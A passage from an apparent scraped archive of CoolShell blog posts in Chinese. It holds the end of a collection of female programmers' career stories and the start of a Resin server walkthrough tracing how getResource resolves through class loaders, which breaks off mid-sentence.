唯一途径；而如果升职，之后基本和程序员Say Bye了。可是真的要放弃做开发吗？以当时所在行业规模和公司本身的名气地位来说，如果不做开发，我很难想象以后跳槽的机会在哪儿；如果做开发，我又很难在公司继续获得我想要的。于是，我接受了公司的安排，去体验一下程序员之外的工作是否适合，同时也积极寻求跳槽的机会。在公司的最后半年，我几乎脱离了开发的工作，主要的工作内容是调研公司计划新开辟的产品线的产品形态及技术，去往各地出差做客户交流，和开发部门开会制定产品开发计划。在这半年里，我开始怀念单纯的程序员生活，不用去应酬形形色色的陌生人，即使公司倒闭也能很快找到工作养家糊口的踏实感。\n\n\n第二次找工作的经历和第一次完全不同，有了之前几年的工作经验，我很快就拿到了几个大公司的offer。通过面试，我也逐渐认清了自己的不足之处。回想起来，我觉得之前那个男程序员说的一点没错。我并不是个本身对技术非常有热情的人，之前的研究生经历也是如此，后来工作也常常认为自己学东西快所以技术可以等到用的时候再学。面试的时候和一些经验丰富的面试官交流，可以非常明显得感受到热情这个东西对技术水平有着多么重要的影响。但是，另一方面，我对技术也并不是完全没有热情，这种热情很大程度受外界环境的影响。如果在一个大家都很牛都很积极学技术的环境，我也非常乐在其中。选择目前的公司，一是因为当时经历了比较艰苦的几轮技术面试，另一个重要的因素就是这里是有可以正面影响我的环境。目前在现在的公司工作了大半年，虽然部门三十多个程序员就我一个女孩（但是很多男程序员级别都比我低，哈哈）但是很开心，周围都是聪明并且富有经验的同事，让我受益很多，对技术也越来越有兴趣。\n\n\n这就是我有点曲折的女程序员经历，但也是女程序员们很有可能会碰到的情况，譬如性别歧视，譬如对技术的热情等等。我觉得做女程序员不容易，女程序员由于女性的心理特质容易把负面的情绪扩大。所以女程序员最重要的是内心强大，碰到不信任你的领导或男同事，要大胆说出自己的想法，同时拿出有说服力的行动。另外，从我自己的经历和我面试过的女程序员来看，女孩通常会专注于完成工作，不像男孩那么对技术有热情；而且社会上也有各种声音说女孩不适合做程序员，于是女孩也容易自我怀疑。我的经验是，有时候先暂时不要想究竟适不适合，努力做一段时间，有些事情需要深入到一定程度才会有兴趣，如果还是不喜欢再考虑是不是放弃。\n\n\n\n\n##### Linn – 误打误撞的程序员\n\n\n昨天老公发来的网址给我看。  \n\n那时候刚好项目上线，大家要去聚餐，就匆忙的瞅了一眼，跟老公开玩笑说，怎么样，我也写一篇？  \n\n他说好啊。\n\n\n今天是2011年的最后一天。  \n\n挺有纪念意义的，回顾一下。\n\n\n我是高中生，05年毕业，去了北大青鸟，我知道现在很多人对北大青鸟的看法褒贬不一。  \n\n怎么说呢，一母生九子吧。\n\n\n其实当初高考失败，我不想去上大专，更不想复习，我知道自己学不进去。  \n\n那时候接触电脑不多，可能也就一周一次的电脑上机课，但我就是对它很有兴趣。很单纯的。\n\n\n接着，同学听别人说了北大青鸟，然后想让我跟她一起去。  \n\n其实，当时我连编程是干什么的都不知道。哈哈。  \n\n我那个同学也是女的。  \n\n我说服不了我爸爸，我爸爸还是比较想让我上大专，他说至少你出去长长见识。  \n\n我脾气比较倔，想一件事，就一定要去做，我带我同学去我家，她的劝说能力比较强，最后我爸无奈之下同意了。\n\n\n然后我就离开了我们县，去了我们省的省会。\n\n\n第一次出远门。  \n\n我当时不会讲普通话，我觉得自卑（现在想想我真是很容易自卑），到了那里后，同学跟她姐姐有事出去了几天。  \n\n那几天我就跟个傻子一样，就在她姐姐租来的小屋子里呆着，没有电视，没有电脑，甚至我不怎么出去吃饭。  \n\n寂寞、孤独、无助、茫然。  \n\n其实人的恐惧源于无知。对这个城市的无知，对未来生活的无知。\n\n\n我终于没有忍住，给家里打了个电话，哭了。  \n\n我爸跟同学的爸爸听说后，立马就坐车到了我住的地方，我那时候真的没有想到有那么严重的结果。  \n\n我爸爸一直都比较宠我，我没想到他们会来。  \n\n那天我刚好跟同学还有她姐姐出去玩，很晚才回来。  \n\n那是夏天，很热，就看到两个老人满头大汗的在我们住的屋子对门那家，吃西瓜。  \n\n我差点又哭了。  \n\n第二天早上，我爸问我，他说，你还想留下吗。  \n\n我说想。  \n\n就这么回去了，我觉得没脸。\n\n\n我想那时候我爸就彻底死了劝我回去的心了吧。\n\n\n然后交钱上课。\n\n\n大家刚学编程的时候可能都会有那样的经历，计算机本来就是一个很抽象的东西，编程，就是抽象中的抽象。  \n\n刚上课的时候，很久没有玩过电脑，我甚至忘记了本来就不怎么熟悉的盲打。  \n\n我很清楚的记得班主任跟我说：盲打还不会，基础不行啊，多练习练习。\n\n\n2005年8月份，到2007年3月份，我毕业了。\n\n\n这时候我的状态：学过多门编程语言，主打java，当初学了app4.0，4.0的课程里有struts1.2，oracle等。  \n\n但，知其然不知其所以然，还是懵懵懂懂的样子。\n\n\n其实我们当时有两个就业方向.NET，J2EE，当时还是叫J2EE的。  \n\n都说J2EE是比较难的，我为什么学这个，说起来也有点搞笑，因为我觉得，.NET可视化功能太强大了。  \n\n我本来就学的懵懂，不精，控件拖来拖去的，我就更迷糊了。不如JAVA一行行代码写起来来的踏实，哈哈。\n\n\n第一次面试，现在说起来真的很鄙视当时的自己。  \n\n我本来是相当老实一孩子。  \n\n我们当时有就业部，负责学生就业。  \n\n教我们如何面试，如果跟面试官交流，如何突出自己的优点。  \n\n我记得特清楚的是，如果人家问你的缺点，你可不能真说你自己的缺点，要说一种看起来像缺点，实际对编程或者公司来说是优点的。  \n\n我真是傻孩子，我这么干了，记不太清我的原话了，但大意说自己比较执着什么的。  \n\n面试官最后说了一句话让我无地自容至今，他说：这不还是你优点吗？\n\n\n07年4月9号入职。公司做一个门户网站。\n\n\n公司给新员工机会，试用三天。  \n\n就是看公司原有的框架spring+ibatis，做一个功能给pm看，如果可以，就留下。  \n\n我运气有点背，机器有问题，不时的挂。  \n\n再说我也没怎么看懂的说，三天过去以后，没能拿出来一个东西。  \n\npm过来看了一下，然后跟人事说，回来的时候表达要我离开的意思。  \n\n当时我内向啊，有点懵。  \n\n我跟他说，我机器有问题。  \n\npm人也很好，他说那再给你半天吧。  \n\n这时，我后来的组长，真的给我很大的帮助，他说你应该怎么怎么来。  \n\n其实我本来有些懂的，他那么一说，我顿悟了。  \n\n1个小时，或许不到，反正很短，我又叫pm过来看。  \n\n他跟我说，好了，你可以留下了。  \n\n我跑到卫生间，那瞬间，真的很想大哭。兴奋、激动、委屈。我也读不懂当时的那种感情。\n\n\n其实这个公司并没有让我的技术提高多少。  \n\npm是一个技术相当强悍的人，至今见过这么多人，我依旧这么觉得。  \n\n框架里的很多东西，当时不太能理解的了。  \n\n但是当初经历的那群人，真的让我铭记至今。\n\n\n09年，男朋友毕业，留在了另外一个城市，我所在的公司宣布解散，于是我也过去了。\n\n\n其实我觉得我内心深处有一股非常强烈的自卑，我不知道这自卑来自于过度的谦虚，还是觉得自己的水平真的不行。我想或许两者兼有。\n\n\n在这个城市的面试很糟糕，我是一个很简单的人，只是想尽自己的努力去做一些事情。  \n\n后来留在了一家公司，公司新开的一个部门。  \n\n招的都是几个大学刚毕业的学生，有几个从达内出来的。  \n\n他们的技术不是不怎么样，是真的很不行！  \n\n于是我跟另外一个男同事就成了头儿。\n\n\n那时候的项目是给公司自己用，做页面，写css，写代码，服务器，几乎都是我来牵头。  \n\n那一年的时间，对我的感触很大，技术也提高很多，因为什么事情都是你自己来做，自己去想。  \n\n压力很大，但也很茫然。我不知道自己在做些什么。因为公司毕竟不是正规的it公司，我自认自己技术挺烂，真的需要人协助。\n\n\n说一下我的男朋友。  \n\n他一直喜欢手机上的东西，知识面覆盖非常广。  \n\n10年6月份的时候，北京有一个机会，他过来面试，然后留下做iphone手机开发了。  \n\n于是我也着手辞职跟着过来。\n\n\n北京的面试依旧不怎么乐观。于是我几乎每天晚上看基础知识看到很晚。  \n\n我一个同事说的好。他说如果你不能说，你就只能靠做面试题来让对方看到你的水平。\n\n\n我还是算运气比较好，一个星期的时间，我收到了现在公司的offer。\n\n\n或许你看到这里已经明白，我几乎是跟着男朋友的脚步走。  \n\n事实上，是这样的。  \n\n做程序员，只是我要做的一件事。而家庭是我的全部。  \n\n事业上，我其实一直都很茫然。  \n\n我想是有这样一部分的人存在，他们没有梦想，没有目标。  \n\n我说的梦想是指那种真心喜欢，并能为之奋斗一生的事情。  \n\n我想我就是那样的人。  \n\n但这种人必然有另外一种追逐的东西，比如，我时刻都很清楚家庭才是我的全部。  \n\n我会找一份不很累的工作，有充裕的时间，来陪伴他们，同时也让自己有事情做，不空虚，不无聊，不虚度。  \n\n但这不代表我工作会做的很糟糕，相反，我第一个项目经理跟我说，以后如果我开了公司，我第一个就会找你。  \n\n我第二家公司的老板，在我来北京之后还打电话叫我回去。  \n\n现在的公司，领导跟我说，我见过很多跟你一样条件，从北大青鸟出来的人，但像你这样的，真的少见。\n\n\n我做程序员，其实算误打误撞，现在想想，我当时向往的应该是美工设计之类的工作。  \n\n我不是什么技术大牛，我碰到的女程序员，也没有什么技术大牛的。  \n\n但是他们都有一个共同点，就是不管他们做任何东西，只要交到他们手上，在相等条件下都会比男同事做的好。  \n\n这可能跟女孩子天生的认真细心有关。\n\n\n这篇文章，可能看起来比较乱。  \n\n但我想表达的一个意思就是，其实女程序员很普通，也特别，神秘，也不神秘，如果你了解了的话。  \n\n但她们绝对是可爱的。大多数有着男孩子的性格，豪爽。  \n\n所以我时常说这世界上有男人、女人、女博士、女程序员，哈哈。\n\n\n\n\n##### Nana – 做喜欢做的事，所以很开心\n\n\n你好，关于女程序员的那篇blog是群里一个GG推荐我看的。这应该算一个励志故事吧，可是一般励志故事都没什么意思，不是苦大深仇，就是从委屈一路走到故事末尾，见到一点小小的胜利。说的故事虽然到了末尾，但人还活着啊，所以真正的故事还没完呢。对励志剧不太感兴趣，因为事实往往是，努力不一定会成功，而且不成功的在大多数。\n\n\n我的故事无关成功与失败，随便看看。先说说为什么会去写程序这件事吧。起初完全不相关的，我喜欢的是动漫。但是对于自己的画画和分镜都不看好，于是想到了游戏。动漫游，是不分家的。游戏行业有许多种职业，常见的小工有：策划美术程序。这3种职业的相关基础课都上了下，其中，编程给我留下了非同寻常的印象：这件事情，太TM好玩了！！即便会拉3D模型、会设计游戏的灵魂世界观，也不能同它相比。于是，几乎没怎么犹豫就开始学习编程了。\n\n\n一开始是学java，比较容易的。后来接触了C++，貌似稍微复杂点，不过总的来说，会了一门语言其它的都有点异曲同工，所以不管性别如何，其实没啥差别。在工作中，也没觉得人家拿我性别说事或特殊化，大家都凭能力干活拿薪水，可能比某些靠关系的行业好一点。很想推荐下我们项目组正在开发的这个游戏，但又怕一说名字就暴露了，呵呵，我们组就我一个mm。\n\n\n人家都说，编程薪水高，我不能说这是假的，但我的同学中，薪水高的都是加班连轴转、除了程序不太想其它的。用那样的精力时间换来的高薪，到哪个行业都能换到吧。\n\n\n学历，貌似在编程这个行业里更加渺小了吧。只有一次去面试一家大游戏公司时，被问过是不是重点大学。其它公司基本不怎么关心，更看重能力。也只有一次，在面试中，被问到是否已婚。可能是怕生孩子耽误工作吧，人走了活儿给其他人干，其他人虽然不说什么，但无形中增加的压力是肯定有的。但在这里我要说一句，这些面试官思维都有点传统啊，其实不结婚也可以生孩子、已婚生完孩子的也可以再生啊。要不你们干脆就说，女性勿面试，不是更好？！\n\n\n做程序是吃青春饭，这话有点道理的。我现在的工作，是喜欢干的事，所以很开心。但如果是一个需要养家糊口的GG，可能就不能只顾着自己开心了。所以说，做程序员，mm也许更合适？\n\n\n呵呵，午休结束了，回去干活～\n\n\n\n\n##### Gift – 当一名战士就是一支军队，那些软件不需要工程的时候\n\n\n请允许我为公正评价女程序员做一点贡献。以下文字所提到的关同学是一位女程序员。\n\n\n注：以下文字已发表于[http://blog.csdn.net/younggift/article/details/7166600]。\n\n\n\\* 最初的代码\n\n\n1994年，当我开始对编程感兴趣的时候，还没有软件蓝领这一说法，但是我已经有了后来软件蓝领流行起来以后的困惑。\n\n\n我第一次做的比较大的程序，是用GW-BASIC写的，没有IDE界面，需要按行号插入，黑底绿字的显示器，单个软驱倒腾用两张盘。 (感谢我们的导员刘春光老师每天中午借我用他的计算机) 要编的程序是自己想出来做着玩的，一个DOS界面下CGA显示模式，菜单方式的……班费管理程序。如同齐同学的那个定票系统，这个软件并没有实际应用，不过，它对我来说，比此后所有写的程序都更难。\n\n\n代码后来参加一个比赛的时候，打印了唯一的一份纸质版，打印纸抻开比我举起手还要高。我当时遇到了程序设计中的核心问题–大量的代码，复杂的逻辑。\n\n\n我当时使用了GW-BASIC提供的一个非BASIC的功能 gosub，类似于函数调用，它帮助我逃过了程序彻底混乱的厄运。后来当我学到模块化思想的时候，如遇故人。我毫不费力地就接受了这个观念，因为痛过，所以印象深刻。\n\n\n后来经常见到有初学的同学函数写得超出两三屏，还很得意自己逻辑控制能力。我就在心里撇嘴，你那是还没受够罪。\n\n\n大量的代码，复杂的逻辑。软件工程给了我们某个答案，就是软件蓝领，它声称大量的人工、短期培训、重复地简单劳动，能够解决–以工程的方法–大量代码和复杂逻辑的问题。\n\n\n是的，我们这么干过，好几千看前就这样做。埃及盖金字塔，是没有起重机的，而是靠几千几万人力完成的；中国的古长城 (不是当代的) ，也没有等待现代电子计算机和通信技术的发展，而是靠万喜良们的双手堆砌出来的。\n\n\n那个时候，他们一定期待一种东西，可以用燃油作为动作，稳妥精确地运输沉重的材料。\n\n\n但是他们没有。因为是时代是父亲是民族选择我们，而不是反过来，所以很多时候很多事情都不能一蹴而就。\n\n\n有的时候，智力或自然的法则也参与限制。\n\n\n\\* 他们说，没有解析解\n\n\n在数学当中，有一种解题的方法得出的结论称为解析解。我们解一个方程，得到结果，如果我们所做的常见运算只需要 有限次，那么，这个结果就称为解析解。\n\n\n这是什么意思呢？就是说，你可以通过公式，只需要一个大式子，可能非常大，但是最终可以计算出结果，直接地。\n\n\n难道不都是这样么？不幸的是，还有一些方程，伟大的牛人数学家们告诉我们，有些方程就是不能通过公式求出来。而我们在工业生活中还需要求解。\n\n\n数学家牛人们还是有办法的。他们创造了另一种方法，用猜测-比较-再猜测，大致这样的方法，逼近我们寻找的那个数。这些牛人们中的第一位就是著名的牛顿。\n\n\n但是，我们得到的是那个”数”，是整个方程中的一段，而且是粗糙的。精细的完全一致的解，可能永远也无法求得，我们得到的就是对于当前的应用”足够”精确  \n\n的个案。\n\n\n人类是多么地热爱形而上，热爱一次性解决所有问题啊。可是，数学牛人们说，有时候，你哭也没有用，就是不行。\n\n\n在程序设计中也是一样，只有工程方法，有人说，就是蓝领方法，才能解决大量代码和逻辑复杂的问题。\n\n\n如果没有燃油，没有热功当量，除了征服更多的奴隶，又有什么方法能够赢得自己的自由呢？\n\n\n但是，我们是否已经判定程序设计一定没有解析解，所以只能靠人力逼近？\n\n\n\\* 解析解\n\n\n我和李记者曾经对刘典同学怀有偏见，认为他(没有虽然技)技术极好 ，但是却从不注重软件中的工程，也不怎么注重合作。\n\n\n今天，关同学用事实给了我强烈的教育。她用事实告诉我：软件工程为什么有时可以忽略？因为有的程序员，她一个人可以完成超过100个程序员的。\n\n\n就像有的战士，一个人就是一支军队。\n\n\n刘典同学讲过他写数据库的程序用了编译原理生成代码，讲过写手机游戏的时候用虚拟机。前几天，我刚刚写了3千多的代码生成器，吐出来近6万行代码。这些  \n\n给我的印象也都没有今天这样深刻。\n\n\n程序设计，是一种创造工作，就像写小说。与写小说不同的，你所创造的是一台机器，它可以做很多事，你甚至可以制造一台机器，它以代替你写作最终需要的  \n\n代码。\n\n\n在所有的计算机本科都开设了相关的课程，叫做编译原理。在一定程度上，这是一个解析解。\n\n\n\\* 关同学\n\n\n今天我CIAC的导师请大家吃饭，辛苦一年。导师本人想参加，我托包师弟说：不欢迎他。如果导师出现，今天稍微拘谨的场面，就可能令聚会完全不同。\n\n\n我们讨论了，我们吃午饭了，我们唱歌了，我们又吃晚饭了。\n\n\n刚开始吃晚饭没多久，包师弟说：2012的上半年，我们有一些任务要完成，相当于本年度完成任务的40倍工作量。\n\n\n他说：这些工作都是相似的。\n\n\n可是这些相似的工作如果不能抽象出其中相同的部分，就没有一点相似。我们人类看到的相似，对于构造代码而言，毫无用处。\n\n\n我看不出来相似。然后我想了几个方案，又都推翻–我在想从哪里抓那么多奴隶来，又用什么报偿他们，工程本身于他们何益。其实，同学们并非奴隶，必须保  \n\n证同学们有足够利益和受益，否则除了我自己，一个人也派不出来。\n\n\n我说：包师弟啊，你能不能别在吃饭的时候说这个，我都吃不下去了。\n\n\n我真的吃不下去了。焦虑。而且，从这以后，我真的几乎没吃啥。\n\n\n奇迹时刻。\n\n\n关同学说：老师其实我想了，这些方案都是类似的。\n\n\n我说：啊？\n\n\n她说：所有的界面都可以……根据配置文件，new 出 一个 label来……\n\n\n是的，不熟悉关同学的，对女生能否写好程序有疑问的，请仔细看一下，她，不是他。\n\n\n而且，她也不必再解释这个方案，因为软件组可以全体解散，而剩下的工作，只需她一个人短时间就可以完成。\n\n\n这就是抽象的力量。\n\n\n她没有写GUI，而是解析配置文件生成了GUI；她绕过了令我头疼的C#如何表示GUI–这样就可以生成RC文件，在编译前，我考虑过的方案–而是在运行时，new  \n\n出所有的GUI控件来，相当于解释执行的。\n\n\n\\* 后来\n\n\n后来，全体软件组成员加入了硬件组，将承担下位机的代码。很好，我终于不用再讨厌他们用的IDE了，因为再也没有他们熟悉的VS什么的了。我们都开始进入  \n\n单片机或ARM的世界。\n\n\n后来，关同学对我的赞不绝口指出：这个方案是你告诉我的啊。\n\n\n我说：啊？\n\n\n她说：就是大仪网的时候，你告诉我blabla。\n\n\n我想起来了。不过，这仍不是我的方案，而是她的。一个方案之所以好(像这个，好到如此突出，以致你一眼就能看到，绝不可能错过，如果你看到了的话)，是因为它被应用在一个恰好合适的领域，恰好解决了一个难题。至于这个方案有多难有多容易，有多高科技，其实不是多重要。\n\n\n关同学刚毕业的时候，我们在CIAC讨论一个框架，当时我说：这个倒是可以再抽象，不过我的方案有点耍赖了。\n\n\n关同学说：你是不是要用函数指针。\n\n\n是的。而且我非常欣慰了一下，因为学生优秀。\n\n\n黄同学当时认为：函数指针，也没啥难的啊。\n\n\n是的。函数指针一点也不难，能想到用函数指针解决这个问题，是一个高度。\n\n\n关同学在此刻想到了一个如此好的方案，所以接下来的半年，我们都不必那么焦虑了。\n\n\n这就是解析解。\n\n\n关的方案，不是减轻了劳动，不是像我以工程的方法、各种测试 (关今天还提出用MATLAB生成测试数据，也很好，后来给齐同学用上了) 来控制代码质量，用框架规范程序员的行为，这些都不是，关同学直接替代十来个人把40个用例生成了出来。\n\n\n代码质量如此一致和优秀，是由图灵保证的。\n\n\n\\* 后后记\n\n\n上午，与一位技术人员和一位经理谈话。\n\n\n我提到 通用的CMS > 定制的站点 > 使用CMS。\n\n\n那位技术人员不认可。我说：我刚刚说错了啊，我不是指复杂，而是指困难。\n\n\n那位技术人员blabla说，这不困难，只要如何如何即可。\n\n\n我说：其实我们也不必达成一致意见。我的意思不是说我们无法实现，我说的我会收更多的钱。\n\n\n争执略去，我同意那位技术人员的下面这个观点 (大致意思，我翻译过的) ，但是当时没有时间表达：这不是工作量，而是更高的高度。\n\n\n是的，那不是更复杂，不是更消耗时间，甚至不是更困难。\n\n\n那就是更值钱。\n\n\n关同学用事实告诉我：一名战士完全可以是一支军队。没错。\n\n\n\n\n##### Zheng – 永不放弃程序员的工作\n\n\n从工作年限来说，我还不能算是一个程序员，因为现在还是一个大四的学生。但是我已经认定了程序员的这条道路。  \n\n高考结束后考虑专业问题，那时我的兴趣是文学，但是因为现实社会的关系和家庭经济的原因，我在毕业生收入排行榜上选择了平均收入最高的专业，软件工程。大一时懵懵懂懂，挂了很多科目，重修，从大二起开始拿奖学金，开始参加项目。因为大一评奖学金时看到自己排在倒数第二的位置，看到同班的同学参加各种软件比赛，我那时就开始思考，我在做什么？于是开始疯狂地写程序，重新学基础知识，认真上课，经常去看一些IT博客。在一家公司实习，我开始接触分布式系统的东西，那时leader让我一个人负责这一块，我就像实验的小白鼠的一样，但是我却感到很如鱼得水，我喜欢快速掌握一门新的领域，并学会总结。那是我真正意义上的在linux下的开发工作，学会了c网络编程，shell，python，hadoop,hive。那里的开发团队只有我一个女生，我见识到一个优秀的程序员所应该具备的一些素质，对技术热点的掌握，对产品的敏锐，不仅是代码，而且是融入产品的设计中，能提出作为一名开发者的意见。如果说作为一个女程序，我与他们不同之处，恐怕是得到更多的照顾，也学到很多。\n\n\n实习两三个月后，我选择离职，在我看来，没有毕业的我实习就是一个新的课程，工作经验就像是旅程，经历的风景是阅历，也是财富。我选择了去一家做云存储服务的公司，在那边更深入地了解关于分布式系统的知识，而这些知识的获取是我自己间接得到的，并非公司培训。我刚到那里，发现还有另一个女程序，她很活泼，而且在项目开发中占据很重要的位置。从一个程序员的角度出发，我并不觉得会写代码是一件多么厉害的事，重要的是上手的能力，系统设计的能力，构架高性能的能力。而基础这些东西只要是一个智力水平相当的人，通过一定时间的磨练，都有可能掌握的。这家公司的资源很丰盛，我的任务并不多，更多的时间是自我学习和研究毕设课题。因为leader没有放手让我干活，干的只要是python脚本的一些开发，所以每次任务来的时候我都很快完成，一般leader上午给任务，下午下班前我就可以提交代码，剩下时间就做自己喜欢的c/c++的cli小应用和一些nosql开源项目。有时一个程序出错，就很偏执地想把错误找出来以后再收工，导致吃饭误点，这样的习惯对身体很不好，现在也正在努力改正中。工作经历差不多就是这些,不介意的话讲一下求职经历。\n\n\n我去面试时，很多面试官都会问我，女生做开发人员的问题。我想这本来就不是一个问题，作为一个人，你需要养家糊口，我也需要。我也有自己的职业规划，清楚知道自己想要什么。从懵懂到略知一二，到准备跳进火坑里塑造一个雷厉风行的新的自我。我一直相信人的某些性质是会变的，随着阅历，经历，实践的不同也产生质的改变。你现在看到的是一个弱女子，未必将来你不会看到一个女架构师。这些都是在进入hr面以后经常会和hr聊到的东西。这份工作能体现我的价值，我就来了。这就是我求职一路的态度。后来成功拿到一些公司的offer。\n\n\n在未来的职场上，我也会不放弃程序员这份工作。学习的态度，认真负责的做事风格，即便我不是一个天才工程师，也可以成为优秀的程序员，不用刻意加“女”字。\n\n\n##### 女程序员们，为你们骄傲，祝你们2012年更上一层楼。\n\n\n**（另外，请各种网站、媒体，报刊，杂志，自由转载或是选取其中的故事做为你们的素材）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员因为女孩而美丽！](https://coolshell.cn/articles/6346.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-5 Resin服务器getResource揭秘.md",
    "content": "---\nlayout: post\ntitle: Resin服务器getResource揭秘\ndate: 2012/1/5/ 0:28:59\nupdated: 2012/1/5/ 0:28:59\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 liuxiaori 继续分享其经历）这样的详细的图文并茂的文章让我很佩服！**\n\n\n#### 前言\n\n\n接上文“[由一个问题到Resin ClassLoader的学习](https://coolshell.cn/articles/6112.html \"由一个问题到 Resin ClassLoader 的学习\")”，本文将以this.getClass().getResource(“/”).getPath()和this.getClass().getResourceAsStream(“/a.txt”)为例，一步步解析加载的过程。\n\n\n#### 调试环境\n\n\n1. 下载resin3.0.23的源码(<http://www.caucho.com/download/resin-3.0.23-src.zip>)。\n2. 部署到myeclipse中，有错误，本人忽略了。Resin可运行。\n3. 将EhCacheTestAnnotation部署到resin3.0.23中。\n4. 调试this.getClass().getResource(“/”).getPath()。\n\n\n问题来了，无论如何也模拟不出来<compiling-loader>所造成的影响，一直输出：/D:/work\\_other/project/resin-3.0.23/bin/ 。无奈之下，采用了这种方式：使用两个eclipse，一个使用发布版本的，部署EhCacheTestAnnotation进行调试；另外一个部署resin3.0.23源码，调试到哪里对照看源码。\n\n\n#### 开始\n\n\n##### 1) this.getClass().getResource(“/”).getPath()\n\n\n本次调试涉及的所有类加载器为：\n\n\n\n> EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]\n> \n> \n> EnvironmentClassLoader$7806641[host:http://localhost:8787]\n> \n> \n> EnvironmentClassLoader$22459270[servlet-server:]\n> \n> \n> sun.misc.Launcher$AppClassLoader@7259da\n> \n> \n> sun.misc.Launcher$ExtClassLoader@16930e2\n> \n> \n\n\n首先进入Class的getResource(String name)方法，如下图：\n\n\n\n![图片1](../wp-content/uploads/2012/01/图片1.png \"图片1\")图1\n最后委托给ClassLoader的getResource方法。那么这个ClassLoader是哪个呢？一看下图便知：\n\n\n![图片2](../wp-content/uploads/2012/01/图片2.png \"图片2\")图2\n是DynamicClassLoader的getResource方法，原理上文已述。\n\n\n最终会委托给sun.misc.Launcher$ExtClassLoader@16930e2类加载器的getResource方法，返回null，然后开始回溯。\n\n\n还记得吗？当java.net.URLClassLoader分支的ClassLoader的getResource方法返回值为null后，就要遍历嵌入DynamicClassLoader中的Resin的Loader(即\\_loaders集合)。\n\n\n当然回溯到EnvironmentClassLoader$22459270[servlet-server:]中，那么它中\\_loaders这个集合中的Loader又有哪些呢？\n\n\n以图为证，当天确实回溯到该ClassLoader，而且开始准备遍历\\_loaders集合。\n\n\n![图3](../wp-content/uploads/2012/01/图片3.png \"图3\")图3\nDynamicClassLoader的1306行，没问题，resin3.0.23源码截图为证：\n\n\n![图4](../wp-content/uploads/2012/01/图片4.png \"图4\")图4\n不做多余解释，那么“servlet-server”这个ClassLoader中的\\_loaders集合中都放了一些什么呢？\n\n\n![图5](../wp-content/uploads/2012/01/图片5.png \"图5\")图5\n存放了两个TreeLoader(Loader的子类)，然未找到结果，返回null。继续回溯。\n\n\n这次轮到遍历EnvironmentClassLoader$7806641[host:http://localhost:8787]的\\_loaders。下图为证：\n\n\n![图6](../wp-content/uploads/2012/01/图片6.png \"图6\")图6\n\\_loaders中的内容如下图：\n\n\n![图7](../wp-content/uploads/2012/01/图片7.png \"图7\")图7\n比较长，我贴出来：\n\n\n\n> [CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@fb6763], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@140b8fd], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@30fc1f]]\n> \n> \n\n\n注意到了吧，主角来了。那仔细调试下把。爆料一下：CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]就是主角。\n\n\n![图8](../wp-content/uploads/2012/01/图片8.png \"图8\")图8\n看到了吧，遍历时，当前的Loader为CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]，而且url可是不为null了哦。再贴一张，看看url的值到底是什么！\n\n\n![图9](../wp-content/uploads/2012/01/图片9.png \"图9\")图9\n嗯，不用多做解释了吧。\n\n\n最后看看程序输出是否吻合，如下图：\n\n\n![图10](../wp-content/uploads/2012/01/图片10.png \"图10\")图10\n然后修改resin.conf中的<compiling-loader>将其注释掉，看看程序结果会不会是我们期望的：/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/。拭目以待。\n\n\n![图11](../wp-content/uploads/2012/01/图片11.png \"图11\")图11\n为节省篇幅，一下只关注关键位置。\n\n\n首先调试到EnvironmentClassLoader$7806641[host:http://localhost:8787]，我们需要停下来一下。\n\n\n![图12](../wp-content/uploads/2012/01/图片12.png \"图12\")图12\n再看一下\\_loaders的值。\n\n\n![图13](../wp-content/uploads/2012/01/图片13.png \"图13\")图13\n贴一个详细的：\n\n\n\n> [LibraryLoader[com.caucho.config.types.FileSetType@1299f7e], LibraryLoader[com.caucho.config.types.FileSetType@1a631cc], LibraryLoader[com.caucho.config.types.FileSetType@f6398]]\n> \n> \n\n\n对比一下，在注释掉<compiling-loader>后，loaders中是没有CompilingClassLoader实例的。\n\n\n继续，下面就轮到EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]这个ClassLoader了，会是什么样子呢？\n\n\n![图14](../wp-content/uploads/2012/01/图片14.png \"图14\")图14\n进入该ClassLoader时，url值依旧为null，那\\_loaders会有变化吗？如下图：\n\n\n![图15](../wp-content/uploads/2012/01/图片15.png \"图15\")图15\n继续遍历\\_loaders。\n\n\n![图16](../wp-content/uploads/2012/01/图片16.png \"图16\")图16\n到这里就结束了，url在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中被加载。\n\n\n##### 1) this.getClass().getResourceAsStream(“/a.txt”)\n\n\ngetResourceAsStream(String 